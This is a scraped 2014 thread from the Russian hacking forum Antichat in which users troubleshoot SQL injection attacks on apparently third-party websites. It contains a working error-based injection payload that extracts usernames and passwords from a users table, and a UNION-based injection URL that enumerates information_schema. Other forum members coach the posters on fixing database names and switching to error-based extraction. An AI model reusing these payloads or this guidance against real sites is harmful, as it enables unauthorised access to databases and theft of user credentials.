ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
25.07.2014, 23:50
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Сообщение от XAMEHA
XAMEHA said:
mailbrush,Вам тоже лучше не отвечать, когда не знаете правильного ответа на вопрос. Всем лучше не отвечать, и тем более не спорить.
После -- по документации обязательно наличие пробельного символа,
но не пробела
. Кроме того, "--" может работать и без него:
Код:
Code:
SELECT * FROM information_schema.tables WHERE uid=1--/**/and id=3;
Запутался, а на какие ваши вопросы ещё нужны ответы и к какому относится этот ответ?
То, что таблицы не существует возможно связано с тем, что имя БД берут из TABLE_SCHEMA, а не database(). From a “-- ” sequence to the end of the line. In MySQL, the “-- ” (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on).
ХАМЕНА, Вы пишете бред: white + space это так же " "
|
|
|
26.07.2014, 00:07
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Сообщение от XAMEHA
XAMEHA said:
То, что таблицы не существует возможно связано с тем, что имя БД берут из TABLE_SCHEMA, а не database().
Что за такой тупой ответ, незачот(
Просто же можно написать, что ошибка синтаксиса через то, что таблица скорее в другой БД.
|
|
|
|
26.07.2014, 01:30
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме:
1180165
Репутация:
11
|
|
blink error based inj,
таблицы и колонки достаются нормально, но при попытке достать даные, говорит что некоторые поля несуществуют "Unknown column 'users.user_name' in 'field list'"
запрос выда
Код:
Code:
' or 1+1=0 and (select 1 from(select count(*),concat((select (select
(SELECT concat(0x7e,0x27,cast(users.user_name as char),0x27,0x7e) FROM `mydb`.users LIMIT 0,1) ) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --
users
id
user_name
password
role
userID
email
passwd
loginEnabled
screenName
firstName
Из всех полей выводит только пассворд. Когда пробую вывести что-то другое Unknown column '' in 'field list' ...
Помогите, пожалуйста. |
|
|
|
26.07.2014, 04:25
|
|
Guest
Сообщений: n/a
Провел на форуме:
114076
Репутация:
54
|
|
del. обновлено.
|
|
|
|
26.07.2014, 14:33
|
|
Guest
Сообщений: n/a
Провел на форуме:
755326
Репутация:
99
|
|
куда лучше записывать значения конфигураций php скрипта, в базу из файлов или в mysql ? объём маленький
например с точки зрения безопасности, бывают sql инъекции, а к файловой базе тоже могут применяться ?
|
|
|
|
26.07.2014, 16:21
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
В файл (не в структуру из 20-50 файлов). Это и практичнее (система с файлом работает быстрее и данные редко изменяются), и удобнее (данные для подключения к базе все равно придется где-то хранить).
Многое зависит от того, какие именно данные вы собираетесь хранить, и как с ними работать.
wkar, Может быть вы, как и billybonse взяли имя БД из database(), а не из TABLE_SCHEMA? См. ответ ниже.
|
|
|
|
26.07.2014, 16:55
|
|
Guest
Сообщений: n/a
Провел на форуме:
114076
Репутация:
54
|
|
wkar. Путем мыслительных процессов в хайвмайнде было решено, что база mydb в четвертом подзапросе "SELECT concat(0x7e,0x27,cast(users.user_name as char),0x27,0x7e) FROM `mydb`.users LIMIT 0,1" таки имеет таблицу users, которая из указанных имеет только поле password, а приведенный список колонок содержится в таблице users другой базы.
Совместная идея с XAMEHA.
|
|
|
|
26.07.2014, 17:04
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме:
1180165
Репутация:
11
|
|
Сообщение от madhatter
madhatter said:
wkar
. Путем мыслительных процессов в хайвмайнде было решено, что база mydb в четвертом подзапросе "SELECT concat(0x7e,0x27,cast(users.user_name as char),0x27,0x7e) FROM `
mydb
`.users LIMIT 0,1" таки имеет таблицу users, которая из указанных имеет только поле password, а приведенный список колонок содержится в таблице users
другой
базы.
Спасибо большое за помощь, будет возможность проверить - обязательно отпишу.
2XAMEHA, скорей всего да, спасибо за подсказку.
|
|
|
|
28.07.2014, 13:34
|
|
Guest
Сообщений: n/a
Провел на форуме:
179197
Репутация:
25
|
|
Столкнулся с проблемой
Код HTML:
HTML:
...id=-371+Union(Select+1,user(),3,table_name,5,6,7,8,9,10+from+%60information_schema%60.tables)+--+
поля для вывода присутствуют, данные о таблицах и колонках выводятся. Но при попытке вывести данные с любых других таблиц (основной базы) эти поля остаются пустыми. При неверном построении запроса, вылазиет sql ошибка, так что запросы составляю верно. Какие есть пути вытягивания данных, кроме посимвольного перебора? |
|
|
|
28.07.2014, 13:42
|
|
Guest
Сообщений: n/a
Провел на форуме:
114076
Репутация:
54
|
|
Сообщение от Br@!ns
Br@!ns said:
Столкнулся с проблемой
Код HTML:
HTML:
...id=-371+Union(Select+1,user(),3,table_name,5,6,7,8,9,10+from+%60information_schema%60.tables)+--+
поля для вывода присутствуют, данные о таблицах и колонках выводятся. Но при попытке вывести данные с любых других таблиц (основной базы) эти поля остаются пустыми. При неверном построении запроса, вылазиет sql ошибка, так что запросы составляю верно. Какие есть пути вытягивания данных, кроме посимвольного перебора? Error-based вектор, разумеется. Приведите, пожалуйста, запрос, выдающий пустой ответ.
Также, в ряде случаев бывает, что классический вывод на страницу раскукоживает верстку и данные не отображаются некоторыми браузерами. Проверьте на всякий случай исходник страницы.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
